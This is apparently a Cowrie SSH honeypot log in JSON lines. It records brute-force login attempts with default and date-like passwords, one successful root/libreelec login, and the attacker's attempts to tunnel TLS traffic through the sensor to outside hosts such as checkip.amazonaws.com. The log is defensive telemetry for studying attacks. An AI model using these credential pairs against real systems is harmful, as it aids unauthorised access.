{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:15:40.826653Z","src_ip":"45.148.10.121","session":"e1298c867cae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:15:41.053556Z","src_ip":"45.148.10.121","session":"e1298c867cae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:15:42.134287Z","src_ip":"45.148.10.121","session":"e1298c867cae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":11423,"dst_ip":"159.203.135.109","dst_port":22,"session":"915bb3473bbf","protocol":"ssh","message":"New connection: 2.57.121.112:11423 (159.203.135.109:22) [session: 915bb3473bbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:16:03.963786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:16:03.969936Z","src_ip":"2.57.121.112","session":"915bb3473bbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:16:04.071195Z","src_ip":"2.57.121.112","session":"915bb3473bbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03011977","message":"login attempt [admin/03011977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:16:04.549695Z","src_ip":"2.57.121.112","session":"915bb3473bbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"03011972","message":"login attempt [admin/03011972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:16:05.654564Z","src_ip":"2.57.121.112","session":"915bb3473bbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"021284","message":"login attempt [admin/021284] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:16:06.759294Z","src_ip":"2.57.121.112","session":"915bb3473bbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"021191","message":"login attempt [admin/021191] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:16:07.863210Z","src_ip":"2.57.121.112","session":"915bb3473bbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"02101995","message":"login attempt [admin/02101995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:16:08.968935Z","src_ip":"2.57.121.112","session":"915bb3473bbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:16:10.078676Z","src_ip":"2.57.121.112","session":"915bb3473bbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.17","src_port":42486,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab6f3277715f","protocol":"ssh","message":"New connection: 77.90.185.17:42486 (10.17.0.5:22) [session: ab6f3277715f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:16:23.063517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:16:23.070356Z","src_ip":"77.90.185.17","session":"ab6f3277715f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:16:23.179442Z","src_ip":"77.90.185.17","session":"ab6f3277715f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"libreelec","message":"login attempt [root/libreelec] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:16:23.732686Z","src_ip":"77.90.185.17","session":"ab6f3277715f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"54.170.77.26","dst_port":443,"src_ip":"77.90.185.17","src_port":46214,"message":"direct-tcp connection request to 54.170.77.26:443 from 127.0.0.1:46214","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:16:24.787962Z","session":"ab6f3277715f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"54.170.77.26","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 54.170.77.26:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:16:25.110204Z","src_ip":"77.90.185.17","session":"ab6f3277715f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"54.170.77.26","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb646\\xe6\\xd8\\xc0\\xfa/\\xec\\xbc\\x11s\\xcd\\'\\xd5\\xe86=\\x18\\xe2\\xad2\\x8e\\xa6K\\xffo\\xd2B\\xc6?f \\x113Z\\x03/\\x11z\\xdbJ\\xe3}\\x96|\\x9d\\na\\x0e\"\\xcc\\xd9\\xf4D\\x85V\\xe8s\\x80rY\\xeb2\\xe9\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x08y2\\x86C>\\x9f\\x17\\xb2\\x0f\\xfd]\\x0f0\\xa8\\xa9\\\\g\\x0b\\xe8\\xe6\\xe5U\\xedO\\xb8\\xf9R\\\\b\\xd6A\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 54.170.77.26:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb646\\xe6\\xd8\\xc0\\xfa/\\xec\\xbc\\x11s\\xcd\\'\\xd5\\xe86=\\x18\\xe2\\xad2\\x8e\\xa6K\\xffo\\xd2B\\xc6?f \\x113Z\\x03/\\x11z\\xdbJ\\xe3}\\x96|\\x9d\\na\\x0e\"\\xcc\\xd9\\xf4D\\x85V\\xe8s\\x80rY\\xeb2\\xe9\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x08y2\\x86C>\\x9f\\x17\\xb2\\x0f\\xfd]\\x0f0\\xa8\\xa9\\\\g\\x0b\\xe8\\xe6\\xe5U\\xedO\\xb8\\xf9R\\\\b\\xd6A\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:16:25.113234Z","src_ip":"77.90.185.17","session":"ab6f3277715f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"23.197.161.53","dst_port":443,"src_ip":"77.90.185.17","src_port":46596,"message":"direct-tcp connection request to 23.197.161.53:443 from 127.0.0.1:46596","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:16:25.379046Z","session":"ab6f3277715f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"23.197.161.53","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 23.197.161.53:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:16:25.563874Z","src_ip":"77.90.185.17","session":"ab6f3277715f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"23.197.161.53","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x16:\\x1c\\x1a\\xf9\\x08\\xfaK\\xaa\\x94\\xa1\\xe6\\xb2\\x9b\\xae\\xe7\\xd9\\x0e\\xb8!\\xd7\\x92E\\xbb\\xd0\\x89\\xc8Z\\xb3p\\x87r &\\x96$_\\xad!^\\x0fE\\xaa,C/\\xdb\\x0e\\xadc\\xf3;W\\xdcD\\xc8\\xcb\\xcd\\x90>gP\\xcait\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xfcd\\xe2m\\xb4\\xe9\\xc5Q*7\\xc7\\x85?\\x00\\xaf\\xc5B36\\x15E;\\x08\\xfda\\xe0l\\x0f)\\x0b\\x0b\"\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 23.197.161.53:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x16:\\x1c\\x1a\\xf9\\x08\\xfaK\\xaa\\x94\\xa1\\xe6\\xb2\\x9b\\xae\\xe7\\xd9\\x0e\\xb8!\\xd7\\x92E\\xbb\\xd0\\x89\\xc8Z\\xb3p\\x87r &\\x96$_\\xad!^\\x0fE\\xaa,C/\\xdb\\x0e\\xadc\\xf3;W\\xdcD\\xc8\\xcb\\xcd\\x90>gP\\xcait\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xfcd\\xe2m\\xb4\\xe9\\xc5Q*7\\xc7\\x85?\\x00\\xaf\\xc5B36\\x15E;\\x08\\xfda\\xe0l\\x0f)\\x0b\\x0b\"\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:16:25.567524Z","src_ip":"77.90.185.17","session":"ab6f3277715f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.156.119","dst_port":443,"src_ip":"77.90.185.17","src_port":47018,"message":"direct-tcp connection request to 142.251.156.119:443 from 127.0.0.1:47018","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:16:25.894548Z","session":"ab6f3277715f","protocol":"ssh"}
